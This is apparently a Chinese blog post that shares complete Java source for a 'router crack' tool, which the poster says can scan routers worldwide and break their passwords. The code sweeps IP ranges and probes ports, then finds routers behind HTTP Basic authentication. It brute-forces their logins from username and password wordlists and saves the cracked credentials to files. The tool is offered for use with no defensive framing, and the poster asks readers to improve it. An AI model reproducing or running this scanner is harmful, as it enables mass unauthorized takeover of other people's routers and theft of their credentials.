路由器扫描的Java源码

这个源码不是本人写的，是我原来的领导写的，我们都叫他东哥，这个是东留给我的一个小资源，好佩服他哦，这个东西可以用来扫描全世界的路由器，破解路由器账户和密码

当然是简单的了。我能力不够没有更完善的补充下。希望有能力的人做成界面形式，帮忙完善下。





1.java代码：

package cn.com.cisec.routercrack;

import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.List;
import java.util.Properties;

public class App {
private static String tag  = App.class.getSimpleName();
/**
* ping超时时间
*/
public static int pingTimeout = 5000;
/**
* socket链接超时时间
*/
public static int socketTimeout =5000;
/**
* http请求超时时间
*/
public static int httpTimeout =5000;
/**
* 线程数量
*/
public static int threadCount =100;

public static List<Integer> ports ;

public static List<String> routerInfo ;

public static void main(String[] args) {
//MainFrame.createAndShowGUI();
start();//开始执行破解线程
}
/**
* 开始破解
*/
public static void start(){
initConfig();
List<Thread> list = new ArrayList<Thread>();
for (int i = 0; i < threadCount; i++) {
Thread t  =new CrackThread(pingTimeout,socketTimeout,httpTimeout,ports,routerInfo);
list.add(t);
t.start();
}
//等待线程执行完毕
for(Thread t : list){
try {
t.join();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
// new CrackThread().start();
//线程执行结束需要关闭打开的文件
CrackThread.writer.close();
LogUtil.i(tag, "程序结束");
}
/**
* 初始化配置文件
*/
public static void initConfig(){
Properties p = null;
try {
InputStream in = new BufferedInputStream(new FileInputStream(FileUtil.getConfigFile()));
p = new Properties();
p.load(in);
threadCount = Integer.parseInt(p.getProperty("threadCount","5000").trim());
pingTimeout = Integer.parseInt(p.getProperty("pingTimeout","5000").trim());
socketTimeout = Integer.parseInt(p.getProperty("socketTimeout","5000").trim());
httpTimeout = Integer.parseInt(p.getProperty("httpTimeout","5000").trim());
String portsString  = p.getProperty("ports", "80").trim();
String[] portArray =  portsString.split(",");
ports=new ArrayList<Integer>();
for(String portSting:portArray){
ports.add(Integer.parseInt(portSting));
}
String routerInfoString  = p.getProperty("routerInfo","route,Router,TD").trim();
String[] routerInfoArray =  routerInfoString.split(",");
routerInfo = new ArrayList<String>();
for(String routerStr:routerInfoArray){
routerInfo.add(routerStr);
}
} catch (Exception e) {
//e.printStackTrace();
LogUtil.i(tag, "读取配置文件失败,使用默认配置");
//System.exit(0);
ports=new ArrayList<Integer>();
ports.add(80);
routerInfo = new ArrayList<String>();
routerInfo.add("router");
}
}
}

package cn.com.cisec.routercrack;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;

public class ConfigFileReader {
private static String tag =ConfigFileReader.class.getSimpleName();
/**
*用户名配置文件
*/
private BufferedReader userReader;
/**
* 密码配置文件
*/
private BufferedReader  passwordReader;

public ConfigFileReader(){
File userConfigFile =FileUtil.getUserConfigFile();
File passwordConfigFile = FileUtil.getPasswordConfigFile();
try {
userReader = new BufferedReader(new FileReader(userConfigFile));
passwordReader = new BufferedReader(new FileReader(passwordConfigFile));
} catch (FileNotFoundException e) {
LogUtil.i(tag, "用户名或密码配置文件没有找到，请检查config目录下是否存在配置文件");
e.printStackTrace();
}

}
/**
* 获取用户名
*
* @return 如果为null则读取结束
*/
public String getUser(){
String user=null;
try {
user = userReader.readLine();
if(user==null){
userReader.close();
}
} catch (IOException e) {
e.printStackTrace();
}
return user;
}
/**
* 获取密码
*
* @return 如果为null则读取结束
*/
public String getPassword(){
String password=null;
try {
password = passwordReader.readLine();
if(password==null){
passwordReader.close();
}
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return password;
}

public void close(){

try {
passwordReader.close();
userReader.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}

package cn.com.cisec.routercrack;

import java.io.IOException;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketAddress;
import java.net.UnknownHostException;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit;

import org.apache.commons.codec.binary.Base64;
import org.apache.http.Header;
import org.apache.http.HttpResponse;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.impl.conn.BasicHttpClientConnectionManager;

public class CrackThread extends Thread {
private static String tag = CrackThread.class.getSimpleName();
private static int count = 0;
private boolean isStop = false;
/**
* 记录是哪个线程
*/
private int who;
private static IpFactory ipFactory = IpFactory.getInstance();
public static ResultFileWriter writer = ResultFileWriter.getInstance();
/**
* ping测试的超时时间
*/
private int pingTimeout;
/**
* socket链接测试的超时时间
*/
private int socketTimeout;
/**
* 是路由器的标示
*/
public  List<String> routerInfo ;
/**
* http请求超时时间
*/
private int httpTimeout;

/**
* 需要扫描的端口号
*/
public  List<Integer> ports ;
public CrackThread(int pingTimeout, int socketTimeout, int httpTimeout,List<Integer> ports,List<String> routerInfo) {
count++;
who = count;
this.pingTimeout=pingTimeout;
this.socketTimeout=socketTimeout;
this.ports=ports;
this.routerInfo =routerInfo;
this.httpTimeout=httpTimeout;
}

@Override
public void run() {

while (!isStop) {
String ip = ipFactory.getIp();
if (ip == null) {
isStop = true;
} else {
//LogUtil.i("CrackThread" + who,"获取ip地址："+ ip);
boolean isPingOk  =isAddressAvailable(ip);
if(isPingOk){
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"可达");
writer.writeActivateIp(ip);
//测试端口是否可达
for(int port:ports){
boolean isPortOk = isPortAvailable(ip,port);
if(isPortOk){
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"开启");
writer.writeOpenPortInfo(ip,port);
Map<String,Object> basicInfo =getBasicInfo(ip,port);
boolean isBasic = (boolean) basicInfo.get(IS_BASIC);
if(isBasic){
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式");
writer.writeBasicInfo(ip,port);
String headInfo = (String) basicInfo.get(WWW_AUTHENTICATE);//获得头信息
boolean isRouter =false;
for(String info:routerInfo){
if(headInfo.contains(info)){
isRouter=true;
break;
}
}
if(isRouter){
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式且是路由器");
writer.writeRouterInfo(ip, port);
}else{
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式不是路由器");
}
Map<String,Object> crackResultInfo = crackBasic(ip, port);
boolean isCrackOk = (boolean) crackResultInfo.get(IS_CRACK_OK);
if(isCrackOk){
String user  = (String) crackResultInfo.get(USERNAME_OK);
String password  = (String) crackResultInfo.get(PASSWORD_OK);
if(isRouter){
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式且是路由器,破解成功用户名："+user+",密码："+password);
writer.writeRouterOkInfo(ip, port,user, password);
}else{
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式,破解成功用户名："+user+",密码："+password);
writer.writeBasicOkInfo(ip, port,user, password,headInfo);
}

}else{
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式,破解失败");
}

}else{
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"不是Basic认证方式");
}
/*boolean isBasic = isBasic(ip,port);
if(isBasic){
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式");
writer.writeBasicInfo(ip,port);
}else{
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"不是Basic认证方式");
}*/

}else{
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的"+"端口"+port+"未开启");
}
}
}else{
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"不可达");
}
}
/*
* try { sleep(3000); } catch (InterruptedException e) { // TODO
* Auto-generated catch block e.printStackTrace(); }
*/
}
}
/**
* basic反馈的信息长量
*/
private static final String IS_BASIC="isBasic";
/**
* 反馈的头信息
*/
private static final String WWW_AUTHENTICATE="WWW-Authenticate";
/**
* basic状态码
*/
private static final int BASIC_STATUSCODE=401;
/**
* 获取basic的相关信息
* @param ip
* @param port
* @return 返回的map对象包含是否basic认证key=isBasic，basic认证的头部信息等key=WWW-Authenticate
*/
public Map<String,Object> getBasicInfo(String ip,int port){
Map<String, Object> result  = new HashMap<String, Object>();
HttpClientBuilder builder  =  HttpClientBuilder.create();
BasicHttpClientConnectionManager connManager =  new BasicHttpClientConnectionManager() ;
connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);
builder.setConnectionManager(connManager);
HttpClient client  =  builder.build();
HttpGet httpGet = new HttpGet("http://"+ip+":"+port);
try {
HttpResponse response = client.execute(httpGet);
LogUtil.d(tag,response.getStatusLine().getStatusCode()+"");
if(BASIC_STATUSCODE==response.getStatusLine().getStatusCode()){
result.put(IS_BASIC, true);
Header[] hs = response.getHeaders(WWW_AUTHENTICATE);
for(Header h:hs){
String headInfo = h.getValue();//服务器反馈的WWW_AUTHENTICATE头信息
//LogUtil.d(tag,headInfo);
//String[] infos = headInfo.split("\"");
/*for(String i:infos){
LogUtil.d(tag,i);
}*/
result.put(WWW_AUTHENTICATE, headInfo);
}
}else{
result.put(IS_BASIC, false);
}
} catch (Exception e) {
//e.printStackTrace();
result.put(IS_BASIC, false);
}

return result;
}
/**
* 认证basic的头
*/
private static final String AUTHORIZATION="Authorization";
/**
* 是否破解成功
*/
private static final String IS_CRACK_OK="is_crack_ok";

private static final String USERNAME_OK ="user";
private static final String PASSWORD_OK="password";
/**
* 对basic进行破解，成功反馈相关信息
* @param ip
* @param port
* @return
*/
public Map<String,Object> crackBasic(String ip,int port){
ConfigFileReader reader = new ConfigFileReader();
boolean userReadOk =false;
while(!userReadOk){
String user = reader.getUser();
if(user!=null){
boolean passwordReadOk=false;
while(!passwordReadOk){
String password  = reader.getPassword();
if(password!=null){
HttpClientBuilder builder  =  HttpClientBuilder.create();
BasicHttpClientConnectionManager connManager =  new BasicHttpClientConnectionManager() ;
connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);
builder.setConnectionManager(connManager);
HttpClient client  =  builder.build();
HttpGet httpGet = new HttpGet("http://"+ip+":"+port);
String value=user+":"+password;
value = Base64.encodeBase64String(value.getBytes());
value="Basic "+value;
LogUtil.d(tag, value);
httpGet.setHeader(AUTHORIZATION, value);
//Authorization:"Basic YWRtaW46MTIzcXdlMTIz"
try {
HttpResponse response = client.execute(httpGet);
if(response.getStatusLine().getStatusCode()==200){
Map<String,Object> result  = new HashMap<String, Object>();
result.put(IS_CRACK_OK, true);
result.put(USERNAME_OK,user);
result.put(PASSWORD_OK, password);

return result;
}
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}else{
passwordReadOk=true;
}
}
}else{
userReadOk=true;
}

}
Map<String,Object> result  = new HashMap<String, Object>();
result.put(IS_CRACK_OK, false);
return result;
}

/**
* 判断是否basic认证
* @param ip
* @param port
* @return
*/
public boolean isBasic(String ip,int port){
int basicStatusCode=401;
HttpClientBuilder builder  =  HttpClientBuilder.create();
BasicHttpClientConnectionManager connManager =  new BasicHttpClientConnectionManager() ;
connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);
builder.setConnectionManager(connManager);
HttpClient client  =  builder.build();
HttpGet httpGet = new HttpGet("http://"+ip+":"+port);
try {
HttpResponse response = client.execute(httpGet);
LogUtil.d(tag,response.getStatusLine().getStatusCode()+"");
if(basicStatusCode==response.getStatusLine().getStatusCode()){
return true;
}
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return false;
}

/**
* ip地址是否可达
* @param ip
* @return
*/
public boolean isAddressAvailable(String ip) {
try {
InetAddress address = InetAddress.getByName(ip);
return address.isReachable(App.pingTimeout);
} catch (UnknownHostException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return false;
}
/**
* 端口是否开启
* @param ip
* @param port
* @return
*/
public boolean isPortAvailable(String ip,int port){
Socket socket = new Socket();
SocketAddress endpoint;
try {
endpoint = new InetSocketAddress(InetAddress.getByName(ip), port);
socket.connect(endpoint,App.socketTimeout);
socket.close();
return true;
} catch (Exception e) {
//e.printStackTrace();
return false;
}
}
}

package cn.com.cisec.routercrack;

import java.io.File;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;

public class FileUtil {
/**
* syslog应用程序被打包成为jar包发布。在syslog服务中，需要在jar文件位置创建临时文件夹，以保存数据。
* 临时文件夹：1 读文件中，ftp到中央日志服务的文件，被放到临时文件夹后再读。
*          2 分析会后的日志，保存一个月。如果选择了备份，则把每天需要备份的文件移动到一个临时备份文件夹。
* 逻辑：如果getDirFromClassLoader()方法计算不出来path，就取System.getProperty("user.dir")用户工作目录
* */
public static String getJarDir(){
String path = getDirFromClassLoader();
if(path == null){
path = System.getProperty("user.dir");
}
return path;
}

/**
* 从通过Class Loading计算路径：
* 1 class文件通过jar包加载：
* 如果为jar包，该包为d:/test/myProj.jar
* 该方法返回d:/test这个目录（不受用户工作目录影响）
* 提示：在jar包加载 的时候，通过指定加载FileUtil的class资源得到jar:<url>!/{entry}计算出加载路径
* 2 class文件直接被加载：
* 如果是web工程,class文件放在D:\tools\apache-tomcat-5.5.27\webapps\webProj\WEB-INF\classes
* 该方法返回D:\tools\apache-tomcat-5.5.27\webapps\webProj\WEB-INF
* 即返回放class文件夹的上一层目录。
* */
private static String getDirFromClassLoader(){
try {
String path = FileUtil.class.getName().replace(".", "/");
path ="/"+path+".class";
URL url=FileUtil.class.getResource(path);
String jarUrl= url.getPath();
if(jarUrl.startsWith("file:")){
if(jarUrl.length()>5){
jarUrl = jarUrl.substring(5);
}
jarUrl = jarUrl.split("!")[0];

}else{
jarUrl = FileUtil.class.getResource("/").toString().substring(5);
}
File file = new File(jarUrl);
return file.getParent();

} catch (Exception e) {
}
return null;
}

/**
* 找出指定目录及其子目录下，满足指定后缀的文件的绝对路径。
* 提示：方法中出现异常被内部捕获。
* @param dir 指定目录
* @param suffix 文件名后缀
*
* @throws IllegalArgumentException
* */
public static List<String> find(String dir,String suffix){
List<String> list = new ArrayList<String>();
try {
File file = new File(dir);
if(file.exists() && file.isDirectory()){
find(file, suffix, list);
}else{
throw new IllegalArgumentException("param \"dir\" must be an existing directory .dir = "+dir);
}
} catch (Exception e) {
e.getMessage();
}
return list;
}
/**
* 递归遍历，查找满足后缀的文件
* @param dirFile 必须为一个存在的目录.不能为null
* @param suffix
* @param list 递归遍历目录记录满足后缀的文件的绝对路径。
* */
private static void find(File dirFile,String suffix,List<String> list){
if(dirFile.exists() && dirFile.isDirectory()){
File[] subFiles = dirFile.listFiles();
for(File subFile : subFiles) {
if(subFile.isDirectory()){
find(subFile, suffix, list);
}else{
String path = subFile.getAbsolutePath();
if(path.endsWith(suffix)){
list.add(path);
}
}
}
}else{
throw new IllegalArgumentException("param \"dir\" must be an existing directory .dir = "+dirFile.getAbsolutePath());
}
}
/**
* 获得IP地址配置文件
* @return
*/
public static File getIpConfigFile(){
return new File(getJarDir()+"/config/","ips.txt");
}
/**
* 获得用户名配置文件
* @return
*/
public static File getUserConfigFile(){
return new File(getJarDir()+"/config/","users.txt");
}
/**
* 获得密码配置文件
* @return
*/
public static File getPasswordConfigFile(){
return new File(getJarDir()+"/config/","passwords.txt");
}
/**
* 记录ping成功的ip
* @return
*/
public static File getActivateIpsFile(){
return new File(getJarDir()+"/result/","activityIps.txt");
}
/**
* 记录打开端口的ip
* @return
*/
public static File getOpenPortIpsFile(){
return new File(getJarDir()+"/result/","openPortInfos.txt");
}
/**
* 记录是basic认证的ip
* @return
*/
public static File getBasicIpsFile(){
return new File(getJarDir()+"/result/","basicInfos.txt");
}
/**
* 记录basic认证破解成功的ip 用户名和密码
* @return
*/
public static File getBasicOkFile(){
return new File(getJarDir()+"/result/","basicOkInfos.txt");
}
/**
* 记录是basic认证但是路由的信息
* @return
*/
public static File getRouterFile(){
return new File(getJarDir()+"/result/","routerInfos.txt");
}
/**
* 记录是basic认证是路由破解成功的信息
* @return
*/
public static File getRouterOkFile(){
return new File(getJarDir()+"/result/","routerOkInfos.txt");
}
public static File getConfigFile(){
return new File(getJarDir()+"/config/","config.properties");
}
}

package cn.com.cisec.routercrack;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class IpFactory {

/**
* IP地址配置文件路径
*/
private  File ipsFile;

/**
* 是否需要读取文件
*/
private boolean isRead=true;

private long minIpValue;
private long maxIpValue;
private long currentIPValue;

private static IpFactory factory=null;
/**
* 读取Ip地址配置文件
*/
private BufferedReader reader;

private IpFactory(){
ipsFile  = FileUtil.getIpConfigFile();
try {
reader  = new BufferedReader(new FileReader(ipsFile));
} catch (FileNotFoundException e) {
LogUtil.i("IpFactory","错误：IP地址配置文件没有找到！");
System.exit(0);
}
}
/**
* 获取工厂实例
* @return
*/
public static IpFactory getInstance(){
if(factory==null){
factory =  new IpFactory();
}
return factory;
}
/**
* 加载IP配置文件中的数据到内存中
* @return 如果加载完成返回false 否则为true
*/
private boolean loadIps(){
try {
String net  = reader.readLine();
if(net==null){
//reader.close();
return false;
}else{
//读取到的内容不为NULL
net.replace(" ", "");
if(IpUtil.isNet(net)){
String ip  =net.substring(0, net.lastIndexOf("/"));
int mask = Integer.parseInt(net.substring(net.lastIndexOf("/")+1));
minIpValue = IpUtil.getMinIpValue(ip, mask);
maxIpValue = IpUtil.getMaxIpValue(ip, mask);
currentIPValue=minIpValue;
//设置是否需要读取
isRead=false;
return true;
}else if(IpUtil.isNetRange(net)){
String[] ipArray  = net.split("-");
long tmpMin = IpUtil.getIpValue(ipArray[0]);
long tmpMax  =IpUtil.getIpValue(ipArray[1]);
if(tmpMax>tmpMin){
maxIpValue=tmpMax;
minIpValue=tmpMin;
currentIPValue=minIpValue;
}else{
maxIpValue=tmpMin;
minIpValue=tmpMax;
currentIPValue=tmpMax;
}
isRead=false;
return true;
}else{
//不是网络地址，从新读取
return loadIps();
}
}
} catch (IOException e) {
LogUtil.i("IpFactory.loadIps()", "错误：无法读取IP地址配置文件！");
//System.exit(0);
return false;
}

}
/**
* 提供给线程获取IP地址
* @return 返回null则读取完成
*/
public synchronized String getIp(){
if(isRead){
//是否需要读取ip
if(!loadIps()){
//读取完成
return null;
}
}
if(currentIPValue>=minIpValue&¤tIPValue<=maxIpValue){
String ip  =IpUtil.valueToIp(currentIPValue);
currentIPValue++;
return ip;
}else{
isRead=true;
return getIp();
}
}
}

package cn.com.cisec.routercrack;

import java.util.StringTokenizer;
import java.util.logging.LogManager;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class IpUtil {

/**
* 获得实际的掩码的值
*
* @param mask
* @return
*/
public static long getMaskValue(int mask) {
return ((long) Math.pow(2, mask) - 1) << (32 - mask);
}

/**
* 获得掩码的反码的值
*
* @param mask
* @return
*/
public static long getUnMaskValue(int mask) {
return (long) (Math.pow(2, 32 - mask) - 1);
}

/**
* 根据IP地址获得它对应的值
*
* @param ipAddress
* @return
*/
public static long getIpValue(String ipAddress) {
StringTokenizer tokenizer = new StringTokenizer(ipAddress, ".");
int a = Integer.parseInt(tokenizer.nextToken());
int b = Integer.parseInt(tokenizer.nextToken());
int c = Integer.parseInt(tokenizer.nextToken());
int d = Integer.parseInt(tokenizer.nextToken());
// System.out.println(a+"."+b+"."+c+"."+d);
LogUtil.d("IpUtil.getIpValue", "转换的IP地址:" + a + "." + b + "." + c + "."
+ d);
long value = 0;
value = ((long) a) << 24;
value += ((long) b) << 16;
value += ((long) c) << 8;
value += d;
LogUtil.d("IpUtil.getIpValue", "ip地在转换后的值：" + value);
return value;
}

/**
* 根据IP地址和掩码获得网络地址的值
*
* @param ipAddress
* @param mask
* @return
*/
public static long getNetValue(String ipAddress, int mask) {
long ipValue = getIpValue(ipAddress);
long maskValue = getMaskValue(mask);
//System.out.println("========================="+ipValue);
//System.out.println("============================"+maskValue);
//System.out.println("========="+(ipValue & maskValue));
return ipValue & maskValue;
}

/**
* 获得最小的IP地址的值
*
* @param ipAddress
* @param mask
* @return
*/
public static long getMinIpValue(String ipAddress, int mask) {
if (mask >= 0 && mask <= 32) {
if (isIp(ipAddress)) {
//return getNetValue(ipAddress, mask) + 1;
return getNetValue(ipAddress, mask);
} else {
new IllegalArgumentException("错误：Ip格式不正确");
}
} else {
new IllegalArgumentException("错误：掩码应该大于等于0小于等于32");
}
return -1;
}

/**
* 获得最大的IP的值
*
* @param ipAddress
* @param mask
* @return
*/
public static long getMaxIpValue(String ipAddress, int mask) {
if (mask >= 0 && mask <= 32) {
if (isIp(ipAddress)) {
//System.out.println("===="+getNetValue(ipAddress, mask));
//System.out.println("===="+getUnMaskValue(mask));
//return getNetValue(ipAddress, mask)+getUnMaskValue(mask)-1 ;
return getNetValue(ipAddress, mask)+getUnMaskValue(mask);
} else {
new IllegalArgumentException("错误：Ip格式不正确");
}
} else {
new IllegalArgumentException("错误：掩码应该大于等于0小于等于32");
}
return -1;
}

/**
* 判断是否为IP地址
*
* @param ipAddress
* @return
*/
public static boolean isIp(String ipAddress) {
String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$";
Pattern p = Pattern.compile(regex);
Matcher m = p.matcher(ipAddress);
if(m.matches()){
StringTokenizer tokenizer = new StringTokenizer(ipAddress, ".");
int a = Integer.parseInt(tokenizer.nextToken());
int b = Integer.parseInt(tokenizer.nextToken());
int c = Integer.parseInt(tokenizer.nextToken());
int d = Integer.parseInt(tokenizer.nextToken());
if(a>0&&a<=255&&b>=0&&b<=255&&c>=0&&c<=255&&d>=0&&d<=255){
return true;
}else{
return false;
}
}else{
return false;
}
}
/**
* 判断是否网络
* @param net
* @return
*/
public static boolean isNet(String net){
String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\/\\d{1,2}$";
Pattern p = Pattern.compile(regex);
Matcher m = p.matcher(net);
if(m.matches()){
String ip  =net.substring(0, net.lastIndexOf("/"));
LogUtil.d("IpUtil.isNet()", "ip地址："+ip);
if(isIp(ip)){
int mask = Integer.parseInt(net.substring(net.lastIndexOf("/")+1));
if(mask>=0&&mask<=32){
return true;
}else{
return false;
}
}else{
return false;
}

}else{
return false;
}
}
/**
* 是网络范围192.168.1.1-192.168.1.254
* @param net
* @return
*/
public static boolean isNetRange(String net) {
String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\-\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$";
Pattern p = Pattern.compile(regex);
Matcher m = p.matcher(net);
if(m.matches()){
String[] ipArray  = net.split("-");
if(isIp(ipArray[0])&&isIp(ipArray[1])){
return true;
}else{
return false;
}
}else{
return false;
}
}
/**
* long转换为IP地址
* @param value
* @return
*/
public static String valueToIp(long value) {
long maxValue = 4294967295L;
if (value > maxValue) {
new IllegalArgumentException("错误：超出最大的值");
return null;
} else {
long a, b, c, d;
a = (long) (value & 0x00000000ff000000) >> 24;

b = (long) (value & 0x0000000000ff0000) >> 16;
c = (long) (value & 0x000000000000ff00) >> 8;
d = (long) (value & 0x00000000000000ff);
return a + "." + b + "." + c + "." + d;
}
}

}

package cn.com.cisec.routercrack;

public class LogUtil {
/**
* 调试信息
* @param tag
* @param msg
*/
public static void d(String tag,String msg){
//System.out.println(tag+"====>>"+msg);
}
/**
* 输出信息
* @param tag
* @param msg
*/
public static void i(String tag,String msg){
System.out.println(tag+"====>>"+msg);
}
}

package cn.com.cisec.routercrack;

import java.awt.BorderLayout;
import java.awt.Dimension;
import java.awt.Toolkit;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;

import javax.swing.GroupLayout;
import javax.swing.GroupLayout.Alignment;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JTextField;

public class MainFrame extends JFrame  implements ActionListener {
/**
*
*/
private static final long serialVersionUID = 765875537593801454L;

public MainFrame() {
super("路由破解");

int frameWidth=800;//窗口宽度
int frameHeight=600;//窗口高度
Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
setBounds((screenSize.width-frameWidth)/2, (screenSize.height-frameHeight)/2,frameWidth,frameHeight);//显示在屏幕中间
//主窗口布局
BorderLayout layout = new BorderLayout();
JPanel contentPanel = new JPanel();
contentPanel.setLayout(layout);
//配置窗口
JPanel configPanel = new JPanel();
JLabel label1=  new JLabel("test1");
JLabel label2  = new JLabel("test2");
JTextField tf1=new JTextField();
JTextField tf2  = new JTextField();
GroupLayout configPanelLayout  = new GroupLayout(configPanel);
configPanel.setLayout(configPanelLayout);

// Turn on automatically adding gaps between components
configPanelLayout.setAutoCreateGaps(true);

// Turn on automatically creating gaps between components that touch
// the edge of the container and the container.
configPanelLayout.setAutoCreateContainerGaps(true);

// Create a sequential group for the horizontal axis.

GroupLayout.SequentialGroup hGroup = configPanelLayout.createSequentialGroup();

// The sequential group in turn contains two parallel groups.
// One parallel group contains the labels, the other the text fields.
// Putting the labels in a parallel group along the horizontal axis
// positions them at the same x location.
//
// Variable indentation is used to reinforce the level of grouping.
hGroup.addGroup(configPanelLayout.createParallelGroup().
addComponent(label1).addComponent(label2));
hGroup.addGroup(configPanelLayout.createParallelGroup().
addComponent(tf1).addComponent(tf2));
configPanelLayout.setHorizontalGroup(hGroup);

// Create a sequential group for the vertical axis.
GroupLayout.SequentialGroup vGroup = configPanelLayout.createSequentialGroup();

// The sequential group contains two parallel groups that align
// the contents along the baseline. The first parallel group contains
// the first label and text field, and the second parallel group contains
// the second label and text field. By using a sequential group
// the labels and text fields are positioned vertically after one another.
vGroup.addGroup(configPanelLayout.createParallelGroup(Alignment.BASELINE).
addComponent(label1).addComponent(tf1));
vGroup.addGroup(configPanelLayout.createParallelGroup(Alignment.BASELINE).
addComponent(label2).addComponent(tf2));
configPanelLayout.setVerticalGroup(vGroup);

JPanel resultPanel = new JPanel();

contentPanel.add(configPanel, BorderLayout.CENTER);
contentPanel.add(resultPanel, BorderLayout.SOUTH);

setContentPane(contentPanel);
}

//React to menu selections.
public void actionPerformed(ActionEvent e) {
if ("new".equals(e.getActionCommand())) { //new
// createFrame();
} else { //quit
quit();
}
}

protected void quit() {
System.exit(0);
}

public static void createAndShowGUI() {
MainFrame frame = new MainFrame();
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setVisible(true);
}
}

package cn.com.cisec.routercrack;

import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.PrintWriter;

public class ResultFileWriter {
private static ResultFileWriter resultFileWriter;
/**
* 激活的ip
*/
private PrintWriter activateIpsWriter;
/**
* 端口开启
*/
private PrintWriter openPortInfoWriter;
/**
* 是basic认证的IP地址
*/
private PrintWriter basicInfoWriter;
/**
* 破解basic成功的信息
*/
private PrintWriter basicOkInfoWriter;

private PrintWriter routerInfoWriter;

private PrintWriter routerOkInfoWriter;

private ResultFileWriter(){
File activateIpsFile  = FileUtil.getActivateIpsFile();
File openPortIpsFile  = FileUtil.getOpenPortIpsFile();
File basicIpsFile = FileUtil.getBasicIpsFile();
File basicOkInfoFile = FileUtil.getBasicOkFile();

try {
activateIpsWriter= new PrintWriter(new FileWriter(activateIpsFile));
openPortInfoWriter = new PrintWriter(new FileWriter(openPortIpsFile));
basicInfoWriter = new PrintWriter(new FileWriter(basicIpsFile));
basicOkInfoWriter  = new PrintWriter(new FileWriter(basicOkInfoFile));
routerInfoWriter = new PrintWriter(new FileWriter(FileUtil.getRouterFile()));
routerOkInfoWriter =  new PrintWriter(new FileWriter(FileUtil.getRouterOkFile()));
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}

}
public static ResultFileWriter getInstance(){
if(resultFileWriter==null){
resultFileWriter = new ResultFileWriter();
}
return resultFileWriter;
}

public synchronized void writeActivateIp(String ip){
activateIpsWriter.println(ip);
activateIpsWriter.flush();
}

public synchronized void writeOpenPortInfo(String ip,int port){
openPortInfoWriter.println(ip+","+port);
openPortInfoWriter.flush();
}

public synchronized void writeBasicInfo(String ip,int port){
basicInfoWriter.println(ip+","+port);
basicInfoWriter.flush();
}

public synchronized void writeBasicOkInfo(String ip,int port,String user,String password){
basicOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password);
basicOkInfoWriter.flush();
}

public synchronized void writeRouterInfo(String ip,int port){
routerInfoWriter.println(ip+","+port);
routerInfoWriter.flush();
}

public synchronized void writeRouterOkInfo(String ip,int port,String user,String password){
routerOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password);
routerOkInfoWriter.flush();
}

public void close(){
activateIpsWriter.flush();
activateIpsWriter.close();
openPortInfoWriter.flush();
openPortInfoWriter.close();
basicInfoWriter.flush();
basicInfoWriter.close();
basicOkInfoWriter.flush();
basicOkInfoWriter.close();
routerOkInfoWriter.flush();
routerOkInfoWriter.close();
routerInfoWriter.flush();
routerInfoWriter.close();

}
/**
* 将IP地址 端口 用户名 密码 头信息写入文件
* @param ip
* @param port
* @param user
* @param password
* @param headInfo
*/
public void writeBasicOkInfo(String ip, int port, String user,
String password, String headInfo) {
basicOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password+",headInfo="+headInfo);
basicOkInfoWriter.flush();
}
}

2.最最重要的是maven项目的pom.xml文件配置

pom.xml

